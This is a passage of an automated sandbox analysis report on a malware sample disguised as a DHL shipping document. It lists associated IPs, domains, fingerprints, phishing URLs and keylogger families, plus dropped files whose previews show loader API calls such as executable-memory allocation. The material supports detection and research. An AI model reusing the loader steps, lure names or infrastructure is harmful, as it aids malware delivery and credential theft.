Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:19:35	API Interceptor	5309x Sleep call for process: DHL AWB Document_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse
	LmIclOjfqc.exe	Get hash	malicious	AgentTesla	Browse
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse
	https://lightning-tartan-channel.glitch.me/index1.html	Get hash	malicious	HTMLPhisher	Browse
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
104.21.32.1	REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	www.clouser.store/3r9x/
	PO 87877889X,pdf.Vbs.vbs	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/k566/
	http://projectlombok.org	Get hash	malicious	Unknown	Browse	projectlombok.org/
	(BBVA) SWIFT_consulta_de_operaciones 10-02-2025-PDF.exe	Get hash	malicious	FormBook	Browse	www.kdrqcyusevx.info/k7wl/
	SOA - Final Payment.exe	Get hash	malicious	FormBook	Browse	www.arryongro-nambe.live/ljgq/
	SOA-CAVER.exe	Get hash	malicious	FormBook	Browse	www.arryongro-nambe.live/ljgq/
	PO 564787YTSH.exe	Get hash	malicious	FormBook	Browse	www.fz977.xyz/406r/?AvfPLv6=wl5Nj3SJXS6GKn33CDD6HhAqZgINmZqHvejr4cyaljig9n9IuVxSUHCyJDl4Cu/tzA+kDqqkCxMkWFu0wkrrG4aGxN75si4Ma+LLK0X8cPPOW9ttkQ==&uF=ithpsd
	Proposed Residential Building at City Walk Phase 5.vbs	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	I2DE5rhiJz.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/vyp9/
	BJKzw4jO7c.exe	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/nh5f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	mMS2hfsyJd.img	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	REQUIRED-ORDER-REFERENCE-WITH-COMPANY-DETAILS.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	Nonmerchantable.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
checkip.dyndns.com	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	mMS2hfsyJd.img	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	REQUIRED-ORDER-REFERENCE-WITH-COMPANY-DETAILS.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
api.telegram.org	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	LmIclOjfqc.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	https://lightning-tartan-channel.glitch.me/index1.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	LmIclOjfqc.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	https://telegramcom.kv252.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://lightning-tartan-channel.glitch.me/index1.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	132.145.76.202
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	132.145.76.202
	PH9876509487650000.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	SHIP INFORMATIONS.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
CLOUDFLARENETUS	PO from tpc Type 34.1 34,2 35 Spec 1.js	Get hash	malicious	FormBook	Browse	104.21.112.1
	2024-02-17.js	Get hash	malicious	FormBook	Browse	172.67.207.50
	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	PO.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	Quotation.xls	Get hash	malicious	Unknown	Browse	104.21.96.1
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	Quotation.xls	Get hash	malicious	Unknown	Browse	104.21.24.153
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	TxTPu961er.exe	Get hash	malicious	Amadey, RedLine, Stealc	Browse	104.21.32.1
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Order007556.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	mMS2hfsyJd.img	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	REQUIRED-ORDER-REFERENCE-WITH-COMPANY-DETAILS.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	PO-G0170-PF3F-25-0329.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Maersk_shipping_documents_Awb_BL_Inv000000000000000000000pdf.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	Shipment-100032756.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	Customer support.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Win32.Evo-gen.5457.19170.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	swift copy.bat.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	LmIclOjfqc.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	TxTPu961er.exe	Get hash	malicious	Amadey, RedLine, Stealc	Browse	142.250.181.238 142.250.186.129
	Xw9oZv75Ze.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.238 142.250.186.129
	hHtR1O06GH.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.238 142.250.186.129
	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f.exe	Get hash	malicious	GhostRat	Browse	142.250.181.238 142.250.186.129
	SecuriteInfo.com.Win32.Evo-gen.5457.19170.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	142.250.181.238 142.250.186.129
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse	142.250.181.238 142.250.186.129
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse	142.250.181.238 142.250.186.129
	1638743478-734687553.8.exe	Get hash	malicious	Unknown	Browse	142.250.181.238 142.250.186.129
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.238 142.250.186.129
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.181.238 142.250.186.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll	SecuriteInfo.com.Win32.Evo-gen.5457.19170.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rquotation.exe	Get hash	malicious	Remcos, GuLoader	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader	Browse
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.628848957968553
Encrypted:	false
SSDEEP:	3:YOm45GXQLQIfLBJXmgxv:5TGXQkIP2I
MD5:	B895D576D6637A778B387B2FCA0F56EC
SHA1:	E78D2BE4D94673D612C16D29C330BB0C78778429
SHA-256:	BFEC1E97ED5D34825521D60B98986D1564CD159B4D1F9569EAE4C3464D2F5C47
SHA-512:	B4A771D1B517A2776BA440F79F168306C244DF1A6DE1966313157154D8D52BEAD8131B95F846C2F55C15382E04284FFFC6CF6ABF3F6FCFCB259DF2EA58D769E5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Current]..Ini=user32::EnumWindows(i r1 ,i 0)..

C:\Users\user\AppData\Local\Temp\nse4588.tmp

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsg2FC9.tmp

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsk39DE.tmp

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.52973742089034
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjERMJ9xQoXUn:2J9xvUn
MD5:	6E218F4EAEF4854A4F310D8A5E335A2E
SHA1:	F84C2E914AD92E65F97EECFC4CD407ED6AA5AF1D
SHA-256:	A33C5B98649409C5FC2AB7D0EC13685DC41936FC9A50D1DE667D3B0209B851F1
SHA-512:	EB377F9488888ACFC0AF7CEB03F3505CFB61795A61FB7F7FD77B9412539632FCAD137F0F507504A0EEDA4734F46FE350E0CFA4AE996F8BE61912AAA1EDA5C882
Malicious:	false
Reputation:	low
Preview:	kernel32::VirtualAlloc(i 0,i 25948160, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.770824470205811
Encrypted:	false
SSDEEP:	192:PPtkumJX7zB22kGwfy0mtVgkCPOs81un:E702k5qpds8Qn
MD5:	B8992E497D57001DDF100F9C397FCEF5
SHA1:	E26DDF101A2EC5027975D2909306457C6F61CFBD
SHA-256:	98BCD1DD88642F4DD36A300C76EBB1DDFBBBC5BFC7E3B6D7435DC6D6E030C13B
SHA-512:	8823B1904DCCFAF031068102CB1DEF7958A057F49FF369F0E061F1B4DB2090021AA620BB8442A2A6AC9355BB74EE54371DC2599C20DC723755A46EDE81533A3C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.Evo-gen.5457.19170.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe, Detection: malicious, Browse Filename: rquotation.exe, Detection: malicious, Browse Filename: z1QuotationSheetVSAA6656776.exe, Detection: malicious, Browse Filename: z1QuotationSheetVSAA6656776.exe, Detection: malicious, Browse Filename: CdB3FZ9vyI.exe, Detection: malicious, Browse Filename: z65PurchaseOrderNo_0072024_pdf.exe, Detection: malicious, Browse Filename: z65PurchaseOrderNo_0072024_pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....z.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso36A1.tmp

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsy425B.tmp

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.300098279976057
Encrypted:	false
SSDEEP:	3:sAAEVvjsZMJ0vL84n:fLvJq
MD5:	C97FE66EE1FEA92C5368DA8F0B550B1F
SHA1:	FB630B702A1476D0277CEC9551FFFB8F75DCC268
SHA-256:	9A06D3BAB617D5CDAEBD1DFA907F1E6235238127D5BC50430B06479B37933640
SHA-512:	5DD85732FD624DE9A648289A9CBF7D6A33F62F4AA06E756B3EEDE0173C3354C47E59FE534E53D2FE596DA86FE400B9435E902A481B51659338639362D77E581F
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 25948160,*i 0, i 0)i.r3

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Helveders.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	38
Entropy (8bit):	4.115834092163221
Encrypted:	false
SSDEEP:	3:OBamvOnOKXDJ+B:uamXoVQ
MD5:	57236E5883AC72789FE46439440C54AF
SHA1:	EE1BD5CF0B8C44213BC88C09E241EBA31A79DC7B
SHA-256:	23568A0963E32E55958D6E7D442DEE234EB8AE8F2BCACD57B30FA6944253E791
SHA-512:	F43DF2AC8A135B97C6A0A228F30298BBB7CA4328EEABAE655C3065C979C470C5124EC6EE10F5E681B44B7D627F407A05B49754FCEBDBB3542D56BFC77C97115B
Malicious:	false
Preview:	[Slenderly]..krykkekors=undeflective..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Bodyguarderne.Grf

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	453586
Entropy (8bit):	7.0700917284249245
Encrypted:	false
SSDEEP:	6144:Rk5JDhffS33iRaI7Jq4rS72XYa3xZ4zBtdfYSUyFjlkJ5DrpekuGm:aVi33QaHOoahZytBFlFjls5DrQRGm
MD5:	BDB819F3FAEE6B069CF634CD8CDA27AE
SHA1:	CE6952BA21B2F961F58483EDBE2E03E45598B078
SHA-256:	8159404591D5E83AD91865B2B2E137D2FB7DB6D39F9191F7ABBF0A9DF50D4495
SHA-512:	9E06CCD55D27248AD4E383A8D19200648D5842FFE7D0D2AD02EB2F19AC97975DD9C3A83CBF1A5722AFEE473F7DACA6D87925FAA0E598A0042BFECEA9B301B91E
Malicious:	false
Preview:	...EEE......j..EEE.................;;............!........1.H.....0.....V...,....N........BBB.....5..........B.S....GG................V...DDD.<.ww...\|..........5......D........................ZZ.dd.......................444.9.............IIIIII.{................;;..G...........n....../.............................X..[.?........7................V..............\...........gggg........MMMMM........................oo..............m...#...e./....C............].....<......333.n.b....\|..`...................S..............==.....K.Q.....ee.y.T...????..........F..................{...........^.PPPPP...............o.......................[[[......s.................LL..........#.....zzz........................D.PPPPP...................dd...``````.............ooo....tttt.............=..............._.....r......XXX.1..^....>>.........Y.bbb..xxx..___.cc..@@@......rr......U..UU.............#................VVVVVV.nn..A.lll.CC...................F...1.......nn........D.n.......P.......))).;;;./...<....

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Enculturating.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	373
Entropy (8bit):	4.6689888819839975
Encrypted:	false
SSDEEP:	6:u8RULdljrMCRX/BFkQy3J8E2+HF7xWZFukJt44tjoWCioZXHfLLznE6ARYBJe:uA8ACKQvn+l9WTn/joYoZXHjLLESBJe
MD5:	EA57DEBB5ED0FCC284A13708B57DF4B5
SHA1:	829BB4B4625C889FB7BE1129DBB44C5CA9C3463A
SHA-256:	CA4E5E4D2E8EE9E3A7C19358469280289474E701CF23180372F95A975E8E7B5B
SHA-512:	DCDA231F390809E486B24399573713746A90A02006BF829BE59F66A58A421212F82768DDBDF3BBC89497B1C32318E8D090175BF041681C12D64D5F3423F97CDE
Malicious:	false
Preview:	;lrestningerne langbaade undertippet.Indvikl outbrag bravurarie nondifferentation disabused forbrugerstyrelsen..[VOLDTGTSDMTE FIGURTYPENS]......omikron subindicate macrogonidium,diskvalificerende udladere syltetjskrukkerne balas afvnningskurenes snidely languaged..aktionssprogenes kickup daredevils rennins snksmedjer.Banketters miilimetre iridical spidnings helsefysiks..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sammentrngende225.sth

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	187748
Entropy (8bit):	1.2534161616514632
Encrypted:	false
SSDEEP:	3072:viD/FWcjS9V0XNgDhAq5q+ZhpMNY/rveNIvJWs99SBNGyCzrkGhrI:viD/FWcjS9V0XNgDhAq5q+ZhpMNY/rvi
MD5:	664F0CBD44998A34FE4B192AF58382C2
SHA1:	2EDB2244FD7C1D740DC8E5AA1EA559BB22BDA69D
SHA-256:	845B140AC14A7A324D4741347CE98213992C5B1604783765199D52D7FD4B7336
SHA-512:	389AEDDF6C015BCA238453013D6860CC160ABBE46D8BBB9CD0580EB33CB7B7EB78E3CADB42429076E45D0D0836D7C7F629C680CE7DAB3ACD0332142D56BEC0BC
Malicious:	false
Preview:	vvvvvvvvv.vvvvv..vvvvvv(vvvv.vvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvv.v.Zvvvvvvvvv..v,vvvvvvvv.vvvv'vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvv.vvvvvvvv.vvXvvvvvvvvvvqvvvv.vvv.vvvvvvvvv^vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvv.vvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvv..vvvvvvvvvvvvvvv\vvvv.vvvvvvvUvKvvvvvvvvvvvvvvvvvvvvvvvcvvvvvvvvvvvvvvvvvvvvvvmvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvm.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvvvv.vvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvv..vCvvvvvvvvvvvvvv.vvvvvvv v.vvvvvvvvvvvvvvvvvvvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vvvvvvvyvv%vvvvvvvvvvv}vuvvvvv7vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv(!vvvvvvvvvvvvvv.vvv.vvvv.vvvvvvv.vvvvvvv.vv.vvvvevvvvvv.vvvvvvvv.vvv.vvvvvvvvv.v.vvvvvv.vvvvvvvvvv/vvvvvvvvvvvvvvvvv..vvvvv.vvv.vvv.vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv.vv.vvvvv.vvvvvvvvvv.vvlvvvvvvvvvv.vvvvvv.vvvvvvvvvvvvvvvvv.vvv.vvvvvvvvvvvvvvvvv.vvvvvvvv.vvvvvvvvvvvvvvvvvvvzvvvvvgvvvvvvvvvvvvvv(vv

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sangforeninger.Bro

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	169168
Entropy (8bit):	4.607884114166155
Encrypted:	false
SSDEEP:	3072:buGiLyU32iH87EStMFyszftVi/D+QM5Z4t:aVLl2iH8YW4TzfkvMjK
MD5:	E38137DECB58E3437E51AC1A6AF9CB21
SHA1:	14C60502028FBFFA2FF31413E96519A13A515020
SHA-256:	EEA371EBB4304C9934911A7BFE135FA1F7EC031B3D5CDE63FAFCCD6FD5044A35
SHA-512:	4956D88F318C5947161924F22E83C034A6E5A88B100971877420A9F3F8EDA44BC853B6F586E07F6E28F88FEB04A3C04528C0FD9ECBFEFC64FBFA2C6FDEFC4E0C
Malicious:	false
Preview:	..............._..............................................~~~~.>>>>.....88...A........z.........a.....t.......................".8...D.....Y...............mm........ss.........&................::.............................k.........;;;.....................jj...M............m...........]............8.......................g......f......h............]].g.....//...--...................................e....-..............P......j..................>...........m....bb.....X.^.......RRRR...mm.....................rrrr....G.........DDD....................................kkk...+.............[..."...-............................................s...........B...........................55.j.....................................Q.........:...............YYY.........N...QQQ..................................22......................6.......s....2......```...x....................3..........ccc...................pppp.EEE..FF.JJJ......aa...?.........................;;;.........5........K......OO.:....)

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sfarer248.rgs

Download File

